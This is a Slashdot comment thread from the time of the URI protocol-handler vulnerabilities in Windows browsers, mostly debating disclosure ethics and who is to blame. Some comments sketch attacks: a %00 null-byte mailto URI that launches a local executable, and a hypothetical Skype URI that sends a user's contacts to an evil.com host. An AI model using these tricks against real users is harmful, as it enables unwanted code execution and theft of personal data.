New URI Browser Flaws Worse Than First Thought 149
narramissic writes "URI (Uniform Resource Identifier) bugs have become a hot topic over the past month, since researcher Thor Larholm showed how a browser could be tricked into sending malformed data to Firefox. Now, security researchers Billy Rios and Nathan McFeters say they've discovered a number of ways attackers could misuse the URI protocol handler technology to steal data from a victim's computer. 'It is possible through the URI to actually steal content form the user's machine and upload that content to a remote server of the attacker's choice,' said McFetters, a senior security advisor for Ernst & Young Global Ltd. 'This is all through functionality that the application provides.'"
Oh my (Score:5, Informative)
It is impossible to say whether this bug is really exploitable, whether it matters at all. So far they ("security researchers") can be only getting a free publicity. Is this news for nerds?
Re:Oh my (Score:2)
If you actually read through till the last para, you ill note that the bug has something to do with Microsoft, Registry, Internet Explorer and registering programs.
Re:Oh my (Score:2)
That unholy trinity does not give me a warm and fuzzy feeling.
Re:Oh my (Score:5, Informative)
"On Windows XP some urls for "web" protocols that contain %00 launch the wrong
handler and appear to be able to launch local programs, with limited argument
passing. It is not yet clear that this can be used to compromise a machine but
we can always fear the worst.
The same behavior is observed using "Run" from the Windows Start menu for the
affected protocols (http, https, ftp, gopher, telnet, mailto, news, snews,
nttp, possibly others?).
The behavior seems to be that if there's a %00 in the URL for these schemes
then the URL Protocol handler is not called, instead the FileType handler is
called based on the extension of the full url. The url is then passed to that
File handler. For "non-web" URL handlers the URL is passed to the expected
handler.
In Firefox browser protocols are handled internally so are not vulnerable, but
the mailnews protocols are handed off to the OS and can be abused in this way."
====
So you can construct a uri like: "mailto:/...%00...something.exe"
Firefox sees mailto and hands it to Windows to give it to the mail program
Windows sees %00 and mistakenly hands it to the FileType handler.
The FileType handler sees ".exe" and runs the program.
%00 backdoor in Windows OS (Score:2)
Great. MS became the "gatekeeper" to all networking security bugs in their OS when they integrated IE into the operating system back in 1997. This is easily fixed by not allowing the URI handler in the OS to behave strangely when given specific inputs (such as %00 and " ).
In short, Microsoft should remove the backdoor. 'Nuff said.
--
Toro
Re:Oh my (Score:3, Insightful)
Yes, this is news for nerds - I know I'll be avoiding the URI protocol cautiously, if at all. I am duly informed. (Of course a real nerd would have known this already, so I have to turn in my card, I guess.)
Nothing to gripe about here - move along.
Re:Oh my (Score:4, Informative)
The only thing that happens when people "claim" to have discovered an exploit without proof is that a lot of gullible people start panicking and unscrupulous reporters and bloggers who'll propagate the rumour for weeks. It's like yelling "fire" in a crowded room.
If they really have an exploit, they should just share it or STFU. There's enough garbage information on the internet as is, there's no need for them to the dung pile.
Re:Oh my (Score:4, Insightful)
In this case, additional researchers have even verified the issue after the initial report. If you still don't believe there is an issue (fair enough it's good to be skeptical), you can always do a tad of research into these researches history to help decide if you think they are trustworthy or not. If still that isn't enough, well then I guess you'll have to just find these issues yourself and you can publish anything you want about them. Until then the researchers who find an issue should have the right to handle it any way they choose. They don't answer to you.
It's like yelling "fire" in a crowded room.
Seems more like they are more warning that there is a pile of debris in the room which could be a fire hazard. You suggestion would be more like noticing that fire hazard and deciding to dump gas on it and then toss on a match.
Re:Oh my (Score:3, Insightful)
It's very nice of them if they want to give the vendors time to fix their software, but they should announce their results _after_ the patch is ready in that case. Announcing early and claiming "responsible reporting" while not explaining enough for users to protect themselves is a publicity stunt.
Here's a few things that I think are wrong with the "responsible reporting" idea: it publically slanders software products without proof. It causes people to worry about undisclosed threats which may or may not affect them. It turns security research into a hype game where advisories must be taken on faith rather than fact.
These problems go away if the researchers either announce with proof ASAP, or if they announce once a patch is ready.
Re:Oh my (Score:4, Interesting)
I don't think either of those suggestions are "bad", just that sadly they have historically had thier own issues which at least in many peoples opinions outway the gains of those methods.
"announce with proof ASAP" - sadly history shows that when this is done unscrupulous people will then take that knowledge and use it to create malware which can cause MAJOR damage. This is why there has been talk of even making this illegal (which I COMPLETELY disagree with). It is true that "with proof" a tiny percentage of the computer using population will be able to avoid the issue. However, the VAST majority still won't even hear of the issue (as they don't follow such news) let alone know what to do about it. The result is hackers are given the gift of complete knowledge of an exploit which many millions of computers and users will have no defense against.
"announce once a patch is ready" - again sadly it has been shown over and over again that many (if not most) products will not put the urgency into a security fix unless there is public pressure to do so. This has certainly improved greatly over the last decade, but I still don't think we are at a point where we can trust them on this without pressure.
There is a fairly popular variation on your second idea which is to notify the software developer but don't announce until you have given them reasonable time to patch it. This will give them the chance to do the "right thing" on thier own without the public pressure but researchers can still release the information later if they feel the patch is too long in coming.
I actually do prefer that option, but there is the arguement that a company will never feel quite the sense of urgency as they would when an overview of the issue hits the media. And it follows that then the patch will take longer and someone less than altruistic could also find the same issue in the mean time and release an exploit.
I don't have a real strong preference between the options of notify the software developers first and wait a reasonable amount of time, or notify and release high level overview at the same time. I'd actually probably have a slight preference for the former, but it does seem the later is the more popular. Probably for the reasons you give, that they want to be sure they are given the credit (and attention) of the find
Re:Oh my (Score:3, Insightful)
I'm sure there are people who install 3rd party URL handlers as willy nilly as they install free screensavers and weather applets, but I don't, and neither should they, so again, I don't care.
If on the other hand they're saying there's a URI parsing error in major browsers that is itself exploitable, that's different. Details are important. You could yell "fire" in a crowded theatre because you saw someone light a lighter, and you wouldn't be lying, but you left out a few good details.
Re:Oh my (Score:4, Interesting)
I'm usually all for the spread of information, but this has the potential to be a scriptkiddy's wet dream. And as I've stated before, I don't fear the hacker, I fear the scriptkiddy. Not because he's smart, but because he's many and he drowns you simply with quantity, not quality.
Care to provide details? (Score:2)
I am anxious to see how these guys plan to remotely install a URI handler into the registry without any user intervention, unless they are using some other remote exploit, in which case THAT is the actual bug.
Re:Care to provide details? (Score:2, Insightful)
Re:Care to provide details? (Score:2)
Re:Care to provide details? (Score:3, Informative)
Re:Oh my (Score:4, Informative)
Re:Here it is (Score:2)
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
Re:Here it is (Score:2)
This is the clear indication of problem being a Windows only:
Guess what is this mysterious "browser" thing.
Re:Oh my (Score:2)
1:Find ad popup code that can't be killed easily.
2:Claim to Slashdot that you've discovered a trivial but really nasty browser exploit that nobody knows about, and provide a link to an article that says the same thing.
3:Watch your ad views rack up.
4:Profit!
Re:Oh my (Score:2)
Re:Oh my (Score:2)
It'd also help if they'd clarify their terminology:
Firefox is a browser, last I checked. So if I'm not using another browser, no browsers will be sending any data to firefox, and I'll therefore be safe, right? This doesn't make any sense. What are they really trying to say?
Re:Oh my (Score:2)
Re:Oh my (Score:2, Informative)
It seems that the injection mechanism is to use Firefox, but the exploit requires IE 7 to be installed on the victim's computer.
Interesting excerpts from the secwatch advisory:
In the comments to this article [betanews.com] a user by the name of kruador points out: And most importantly, he concludes with: Sounds like some registry hacking could solve the problem.It's the Usual M$ Sabotage and FUD. (Score:2, Insightful)
Important details have been obscured on purpose to FUD Mozilla. I'm surprised they bothered to point out it's Windoze only in the first paragraph, but here's the glaring part of the FUD:
Yet, we know that this problem was created by IE7 [slashdot.org] and does not show up on Mac or gnu/linux. Par for the course, create a problem and then blame the victim. Where have we seen this kind of M$ attack before? All over, and court proved in the anti-trust case and also in the DRDOS case [slashdot.org].
Re:It's the Usual M$ Sabotage and FUD. (Score:3, Informative)
Surprisingly it's not a problem if Firefox isn't installed.
Problem is not Firefox. (Score:3, Informative)
M$ Defender, Macthorpe claims what M$ won't directly:
Surprisingly it's not a problem if Firefox isn't installed.
Not even this highly spun article goes that far.
So IE, mentioned as "a browser", sends the crap to Firefox and will do the trick on it's own. Also, as we have seen before, this was not a problem before IE7 [slashdot.org].
Re:Problem is not Firefox. (Score:2)
How can IE do the trick without Firefox installed?
By using the same URI Windows calls Firefox on Windows uses. Those would probably be the ones downgraded by IE7 that created the problem in the first place. This explains why there was no problem before IE7 and the nebulous assertion that other "browsers and applications" have the same problem. Chances are that this is going to balloon out to anything web enabled on Windoze.
Re:Problem is not Firefox. (Score:2, Informative)
Re:Problem is not Firefox. (Score:3, Informative)
You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.
That's why Sabotage Sucks. (Score:2)
You can stop trying to imply that this is some sort of sabotage by Microsoft, considering they'd be sabotaging themselves in the process. No different to your dumb claim that they "sabotaged" ACPI.
It's nice of you to concede the destructive effects of this kind of competition. I would never argue that it's anything but self defeating for M$ but that does not keep them from doing it again and again.
A company that's been convicted of anti-competitive practices in several lawsuits has earned reasonable suspicion when things break. It was Bill Gate's dumb idea to sabotage ACPI, and that came out in the Iowa Consumer Case [edge-op.org]. The DRDOS case [kickassgear.com], (also see p36 here [edge-op.org]), is a good early example of the overall behavior. They sabotaged a competitor then filled BBSs with astroturf that blamed the victim. Just for you, dedazo, I've made a nice list of more recent sabotages here [slashdot.org]. The victims include iPod, Firefox, Google Desktop and anti-virus makers and the FUD hate machine is cranked up to full blast in all of those cases.
The big suck of software sabotage is that it always degrades the user experience. The obvious result is that the user loses their choice of software and is forced to use something second rate. Less obvious results are performance hits in what's left. Sabotage demands extra branching and checks that take time and introduce errors of their own. The legacy of this kind of "competition" is complex file formats, insane APIs, and a system that's feature poor, expensive, unreliable and lacks real choices. Even when M$ wins this game without shooting themselves in the foot, they lose.
Re:That's why Sabotage Sucks. (Score:2)
Seeing as I had a nice trio of negative mods all in a line I can see that calling you on your bullshit gives zealots a wakeup call - can't have all those people who know things educating people, can we? What's funny is, people expect that modding me down will shut me up. Fat chance. I earned my karma by being right. You earned yours by towing the populist line. I think that puts me clear in front of you from a moral perspective.
You keep posting this crap, and there'll always be someone like me to tell the truth, don't you worry about that.
Re:That's why Sabotage Sucks. (Score:2)
Oops, you started out wrong here, zealot. Let's back up a bit. Don't put letters in my posts, and stop peppering yours with links to useless FUD that has been disproved time and time again. A little less of that petulant hillbilly prose would be nice, too.
Try again, and this time put some effort into it.
Re:It's the Usual M$ Sabotage and FUD. (Score:2)
Re:Oh my (Score:1, Insightful)
The implementation may be flawed, but I see nothing about the concept itself that opens itself up to attack.
Sure, you could have a fuckmenow: protocol that launches a keylogger and starts sending data somewhere - but the keylogger would have to be installed, and would have to have registered the custom URI. If it can do that, it can fuck you in so many more ways that don't need the browser.
Re:Oh my (Score:2, Informative)
Think
callto://skypeuser?some¶ms&that&induce&sendin
Or something similar. I think the MS guy shouldn't have said "We at MS don't think we should be responsible for this" as it sounds like they *could* do something if they wanted. He really should have said "We can't stop stupid software makers being stupid. We can do bugger all about this." It's not often MS can legitimately pass the security buck, I'm surprised they didn't ride it for all it's worth this time.
Re:Oh my (Score:2)
Why?
Because the more protocols your browser handles the less likely you are to know what's strange behaviour. The user gets a "learnt helplessness" response and just clicks on "OK" - or the equivilent - when they don't recognise what's happening because they've become used to not recognising what's happening.
A web browser should ONLY handle HTTP. Not FTP, not sFTP, not POP3, IMAP, or SMTP, not BitTorrent, not RealPlay, etc etc. By all means launch external programs to handle such things, which will hopefully alert the user to something happening, but hiding all these non-web-browsing activities from the user is a phisher's dream.
Re:Oh my (Score:2)
FTA: (Score:5, Insightful)
When a similar problem kicked off with the firefox:// protocol in IE all anyone could say was "Why the hell would anyone use this?" The answer seemed to be along the lines of "Nobody does - it was a stupid thing to include in the first place."
Sounds like the same problem to me - and unnecessary and unsuitable solution to a non-existent problem causing far worse problems. As the proverb goes: if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Re:FTA: (Score:3, Interesting)
First off, it was called firefoxurl://. Second, it is used - by Windows. This is part of what is required when registering a browser on that OS. It's pretty important if you want to set Firefox as the default browser.
Microsoft's (and Apple's) responsibility. (Score:2)
IE, this is a "shell" URI that should not be visible to non-trusted content *at all*.
There need to be separate registries for this.
OS X has the same problem, though at least there it doesn't include any equivalent to ActiveX, and the KHTML-based API makes it easier to implement a fix.
http://www.scarydevil.com/~peter/io/apple.html [scarydevil.com]
Re:Microsoft's (and Apple's) responsibility. (Score:2)
How else is firefox supposed to handle protocols liek mailto on a Windows system? The problem is that the URI's shouldn't have been trusted in the first place. The fact that they can execute arbitrary commands is appalling!
The fact that browsers have a protocol attached to them is bad taste, but it's also a red herring. The real problem is that URIs can execute arbitrary commands. Firefox has as much to do with this as a potato has to do with an airliner.
Re:Microsoft's (and Apple's) responsibility. (Score:2)
Using the URI bindings provided for *untrusted* objects. Just like it would use the MIME type bindings for untrusted objects.
The problem is that the URI's shouldn't have been trusted in the first place.
Certainly not the ones that browsers use.
The problem is not limited to URIs. There are also plugins, file-type mappings, MIME-type mappings, and so on. Most of these, no matter what type of binding they are, have nothing to do with browsers. The mistake that Microsoft and Apple made was saying "these types of mappings are used by browsers, and these types aren't". Microsoft draws the line at plugins... browsers can execute any ActiveX plugin in the system, and quite a few more, unless they explicitly exclude them. Apple draws the line at file type mappings for downloaded files... browsers will by default open "safe" files, regardless of what the bindings for them are.
You're just drawing another line along the same axis. The problem is, that's the wrong axis.
Files, binding types (URi vs plugin vs MIME type), URI types, and so on, are not "safe" or "unsafe".
It's the *handlers* that are safe (they either implement a sandbox or do not have mechanisms to do dangerous things) or unsafe (they have the ability to do dangerous things). The syntax (URI, path, COM API, what have you) is an implementation detail... if the application is designed securely and uses the API for that binding type securely... it doesn't matter which way the binding was implemented. If the application isn't designed securely or is sloppy about the binding, you're owned no matter how it gets invoked. There will always be applications you can safely open from the shell to view or operate on files that you must never expose to a browser.
And MOST applications fall into that category.
MOST applications are not sandboxed or secure. Not only is that hard to do for non-trivial apps, but MANY of them can not be, because it's their job to do dangerous things. It's up to the application to register as a shell application (to be used by applications for references that the use or application is in control of), or a browser application (to be used for untrusted objects). When the OS has no way to distinguish between the two, you lose.
Oh yeah. (Score:2)
if it ain't broke, don't start shoe-horning new and unsecured protocol-handling into the registry.
Because we all know what a tight machine M$ gave us without help from firefox [slashdot.org]. Wake me up when this is more than a Windoze problem.
Re:FTA: (Score:2)
A picture is worth a thousand words, even with jpeg compression
News? (Score:5, Interesting)
That's not news. That's old. Actually it's nothing but a change in the ancient URL/URI trick where you trick the user into believing a link sends him somewhere else (akin to something like this: http://www.microsoft.com [gentoo.org]).
The new part is that the URL/URI contains malformed links. Links, that don't just take you somewhere or offer you a torrent, but links that exploit a bug in your application. But it will hit the same group of people: Clickmonkeys who don't know what they're doing in the first place.
Re:News? (Score:5, Funny)
Thanks dude!
I installed that update to XP, and now my computer runs like a dream. Microsoft finally got it right!
Re:News? (Score:4, Funny)
Re:News? (Score:2)
Re:News? (Score:4, Funny)
Re:News? (Score:2)
Re:News? (Score:2)
When you use Evil JavaScript(tm) you can REALLY fuck with the user, who will have NO idea where the link goes, which is why tools like NoScript are so important. Don't surf naked - use NoScript [noscript.net]. Don't get me wrong, javascript can be useful, but so many sites use it gratuitously. They use it for things like roll-over highlighting, when CSS does it cleaner with less code. Most sites I visit seem to use javascript now. Less than half actually need it as NoScript has proven.
Re:News? (Score:2)
Take Flash. Yes, it can actually be put to good use. Pages have used it to really increase the usability and accessability of the content. But most just use it to create a flashy show to hide the lack of content or meaning.
And yes, noscript and other security tools are important. But until this gets through to the clickmonkeys, it will be a very good way to get malware spread. It's just like mail. Mail is currently still the main delivery route for malware, but this starts to decline. More and more people get aware that their "invoice.pdf" is actually an "invoice.pdf.exe" and that it's probably not a good idea to open any kind of content sent to you. I can see it very well in the amount of malware and its source that runs past my desk. Until about 6 months, a good 80% of malware came actually out of mails. We're down to about 50 by now. In a year, mail might only play a minor role in malware distribution, simply because finally everyone realized that clicking on those attachments is a bad idea.
So new spreading routines surface. Mail was just chosen because it's such a simple way. All you needed was a botnet (or renting one) and you could sensibly assume some good penetration. Malware creators do check the "success" of their spreading methods, and they realized a decline. So new roads have to be found. Spreading through webpages and links is harder, but also currently more rewarding. Few people use noscript. Few people even know that a link can be a threat (compared to the amount of people that know in the meantime that an attachment can be a threat, virtually nobody knows about the link threat). So it's a very rewarding way of spreading.
What can be done? The usual. Reconfigure your honeypots, start creating site harvesting tools, inform the users.
Re:News? (Score:2)
Most certainly not! I barely know you!
Though... we can change that...
Responsible application launching (Score:5, Interesting)
It would probably just be simpler to disable this functionality by default; I suspect not many people are really using their browser to launch other applications or do much beyond straightforward browsing (you konqueror people are something completely different!), or at least not to any meaningful extent. Where they are, some form of URI whitelist could do the job.
I don't think browsers are going to stop being capable of launching applications overnight; I fully acknowledge that a lot of enterprise systems rely on this. But it can certainly be done more responsibly.
Re:Responsible application launching (Score:2)
Then how about letting me, the user, decide? Instead of simply activating everything, ask me whether I want a certain application to launch? I think I remember seeing something like this in a browser, forgot which one it was... FF, I think.
Re:Responsible application launching (Score:2)
click on a "special" link, like <URL:ed2k://|file|ubuntu-7.04-desktop-i386.[conte
Opera says: "Would you like to open $PROGRAM to use this link?"
Re:Responsible application launching (Score:1, Redundant)
Re:Responsible application launching (Score:2)
Re:Responsible application launching (Score:2)
The difference is that most Windows users are running as administrator, so an attacker could use this vulnerability to install something bad like a keystroke logger or some sort of worm, whereas they could only corrupt my home directory. This is just another example of why you shouldn't run as a superuser on a system connected to a public network...or any system at all.
Re:Responsible application launching (Score:1)
Better protections would be good, but I'd hate to see this functionality simply removed.
Re:Responsible application launching (Score:2)
Whew... (Score:5, Funny)
Re:Whew... (Score:2)
OT (Score:2)
Re:OT (Score:1)
sure, Opportunist. (pun intended)
Re:OT (Score:1)
Yeah, yeah (Score:2, Flamebait)
Custom prefixes... blah! (Score:2, Interesting)
Why do we need so many bizarre launchers anyway ? Do people really click funky URIs in IE7 to launch the copy of Firefox that's already installed on their system ? How about a desktop icon, you stupid shits!
It's called a URI (Score:4, Insightful)
Is anyone complaining that Konqeuror can handle links like sftp://root@someftpsite ?
The whole article is stupid. It is going to come out that this is not remotely exploitable unless you use another remote exploit to install the 3rd party protocol handler.
Non story.
It's not stupid. (Score:3, Interesting)
Exploits using this approach have been found via IE since 1997, and via Safari since 2004.
Re:It's not stupid. (Score:2)
It is not the web browser's job to validate input into external URI handlers. It is the URI handler's job.
A microsoft education for end users (Score:2)
Yep. We know all about Microsoft's education*:
In no event shall microsoft or its suppliers be liable for any special, incidental, punitive, indirect, or consequential damages whatsoever (including, but not limited to, damages for loss of profits or confidential or other information, for business interruption, for personal injury, for loss of privacy, for failure to meet any duty including of good faith or of reasonable care, for negligence, and for any other pecuniary or other loss whatsoever)
[*] - http://www.microsoft.com/windowsxp/home/eula.mspx [microsoft.com]
Damn! (Score:2, Funny)
Nice to have features (Score:1)
Mike | Optimalprint [optimalprint.com]
Want to disable it alltogether ? (Score:4, Informative)
set network.protocol-handler.expose-all to false,
network.protocol-handler.expose.http to true,
network.protocol-handler.expose.javascript to true,
network.protocol-handler.expose.mailto to true and
remove all other network.protocol-handler.expose.*entries (or set them to false).
Set network.protocol-handler.external-default to false,
network.protocol-handler.external.mailto to true and
remove all other network.protocol-handler.external.* entries (of set them to false).
To be sure set network.protocol-handler.warn-external.file to true and
remove all network.protocol-handler.warn-external.* entries (or set them to true).
For more info start at http://kb.mozillazine.org/Network.protocol-handle
Beware, on windows things are different. See http://kb.mozillazine.org/Register_protocol [mozillazine.org]
Must be said (Score:2)
This is ten years old news! (Score:2)
http://www.scarydevil.com/~peter/io/apple.html [scarydevil.com] and later posts in http://www.scarydevil.com/~peter/io/ [scarydevil.com]
PS... (Score:2)
PPS: the last paragraph is 100% wrong... (Score:2)
100% wrong. Microsoft doesn't provide a mechanism for applications to create both secure URI handlers for browsers as well as shell URIs for internal use. If they did, if they had a way to register components (URI handlers, file type handlers, Plugins, ActiveX controls, and so on) for use by shells (eg, Windows Explorer) only, or for use by browsers only, then we would have seen significantly fewer exploits on Windows over the past decade.
This is harder for Microsoft to fix than for Apple to fix, because in Windows the HTML control is the gatekeeper... not the application. Apple hasn't integrated Webcore as far as IE, and since Webcore is based on KHTML it's using the inherently secure IO Slave model rather than leaving it up to the HTML display engine to try and guess what plugins should be allowed.
But it DOES need to be fixed on both platforms.
Punishment for browser developers (Score:2)
Write 100 times on the whiteboard:
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
I will not launch applications from the browser.
Easy solution? (Score:2)
It might be further improved to distinguish between clicked links and automatically triggered opens (like pop-up blocker does).
Re:Web 2.0 developers have betrayed us all (Score:5, Insightful)
AJAX is a hack sat on top of a 15 year legacy of hacks, and ultimately serves no purpose other than giving the 'delicious generation' something to drool at.
Re:Web 2.0 developers have betrayed us all (Score:1, Insightful)
AJAX is only useful because people are trying to use HTTP and HTML in ways that HTTP and HTML weren't meant to be used. It's not clever anymore, now it's just stupid.
That doesn't add much to your argument. I liked the old interface better. Maybe next we can argue about whether blue or orange is the better color.
Re:Web 2.0 developers have betrayed us all (Score:4, Funny)
Re:Web 2.0 developers have betrayed us all (Score:5, Interesting)
Using non idempotent GET / HEAD methods is poor programming but the purpose of HTTP is to share data using these methods http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.
HTTPXmlRequests should use those methods as described. It's not the fault of the technology,
HTML/CSS is a display technology, I'm not sure how using it to display things is abuse of its intent.
These flaws don't need XmlHttprequest, is also likely to be a vector
Re:Web 2.0 developers have betrayed us all (Score:2)
Re:Web 2.0 developers have betrayed us all (Score:2)
I'm curious as to what it is about the old interface that you prefer, or what about the new interface that you don't like.
Of course, any technology can be used for stupid purposes. But that's really not an issue of technology, is it?
Re:Web 2.0 developers have betrayed us all (Score:2, Interesting)
Re:Web 2.0 developers have betrayed us all (Score:2)
Tell that to the moderators. Until the new comment system I never made a moderation error. With the new system as soon as I select a moderation for a comment it gets applied. Recently I was moderating and I accidentally moved my mouse over the wrong rating (I meant insightful, but accidentally hit redundant); there was no way (as far as I could tell) to undo this mistake.
With the old system you selected mods for all comments in a discussion you wanted to moderate, then clicked "moderate." That way if you selected the wrong moderation it wasn't instant. Maybe I should turn off the new comment system when I'm moderating, but the simpler solution would be to give me an option (is there one?) to turn off 'instant moderation.'
Please reply if there's a way to make sure I don't do that again, as it bums me out when someone is unjustly moderated simply due to a combination of bad design and human error.
Re:Web 2.0 developers have betrayed us all (Score:2)
Easy to fix. Just hasn't been fixed yet.
Re:What is the OS coverage? (Score:1)
Sure, that's a pretty reasonable assumption, but it's idiotic to blame it on the URI handler stuff, the web browser, or the operating system.
If there is such a bug in an application that has registered a custom URI, then any fault for any bug that may or may not exist lies squarely with the makers of that application.
The title of this submission has nothing whatsoever to do with TFA.
Re:What is the OS coverage? (Score:5, Interesting)
Take someone's earlier example of Skype. Lets assume you can do "skype --export-contacts --dest
You'd now have something like "skype --export-contacts --dest http://www.example.com/mybackupscript [example.com] --batch-mode". It does exactly what you want, you can archive your contacts, and you can event do it overnight to a remote location so it's accessible to you from anywhere and won't be lost in a disk crash. Only someone didn't secure it very well (again, bad implementation, not a bug) and someone somehow gets you to click on a link saying "skype:export-contacts&dest=http://www.evil.com/m
I'm sure there are lots of other similar alternatives, but the whole point is that it's badly validated input and not a bug. It's fairly sensible to have "skype:call-userid" as a link so that you can run up Skype and call someone. What it's not sensible to do is let that URI call do anything that can be done locally.
Re:What is the OS coverage? (Score:2)
Easily mitigated, too, of course, because there's no rule that says that Skype's installer has to register the same executable as its protocol handler as it uses to handle user input at the command line. Use different executables, and the risk goes away. A small protocol handling exe that validates the input, extracts the information it needs, and uses it to launch the main Skype program is not going to be a huge additional component in an installation.
Register a protocol handler in the Windows registry, and you're taking responsibility for handling any URL you're given that begins with that protocol. It's not that hard to understand. Why people keep on insisting this is somehow a flaw in Windows I don't know...
Re:What is the OS coverage? (Score:1)
IMO it wouldn't be a bug. To me a bug is something that shouldn't be happening, full stop. e.g. ability to inject data (as you can with a bad PHP script, register global variables and a specially constructed query string), ability to corrupt data or cause crashes (as you can do with a buffer overflow) or ability to bypass a security measure through some simple means (like my college's web filtering software that let you get to blockedexample.com by going to something like http://example.com/ [example.com]).
This, on the other hand, is just lax security or bad separation in design. It might be functionality that you want on the whole and hence a feature (as in my example) but to me registering the whole EXE is a bad choice, not checking the input when invoked in that way (if it's possible) is a bad choice, allowing the data sending without confirmations was potentially a bad choice, and so on.
Having said all that then I would still expect it to turn up in a bug tracking app
Re:What is the OS coverage? (Score:2)
Re:Microsoft do it again (Score:1, Funny)
Re:Microsoft do it again (Score:3, Informative)
MacOSX has had a number of vulnerabilities due to URI handling:
Daring Fireball - Using the 'telnet' URI Protocol to Delete Files [daringfireball.net]
Mac OS X Volume URI Handler Registration Code Execution Vulnerability [secunia.com]
Apple Mac OS X SSH URI Handler Remote Code Execution Vulnerability [securityfocus.com]
As long as you can get a browser to pass arbitrary data to an application you will be vulnerable. What needs to happen is that the custom protocol handlers should be white-listed by default requiring the user to explicitly allow a new protocol handler. Any protocol handler not handled directly by the browser should display a dialog to inform the user of the action and permit them to cancel it. The user needs to be aware that they're not clicking on a "normal" hyperlink.
Ultimately I think the only way to really mitigate these kinds of security problems is to sandbox or virtualize the browser, which is actually what MS has done with IE7 in Vista. Vulnerabilities are inevitable so the OS and browser should do what it can to limit the extent of the damage that can be caused.
Re:Microsoft do it again (Score:2)
What do you consider to be the Linux standard for registering URI schemes in? Mailcap? Facilities specific to KDE or Gnome, like those provided in Konqueoror? Or Firefox's helper application registration?
I don't think Linux is immune to this sort of problem, but it seems like this is one place where the diversity of the desktop on Linux helps quite a bit. I am having a hard time coming up with a realistic way for this to be a problem for a user who runs Windowmaker or FVWM and doesn't install software from really odd sources.
Re:Not anonymous!!!!!! (Score:1)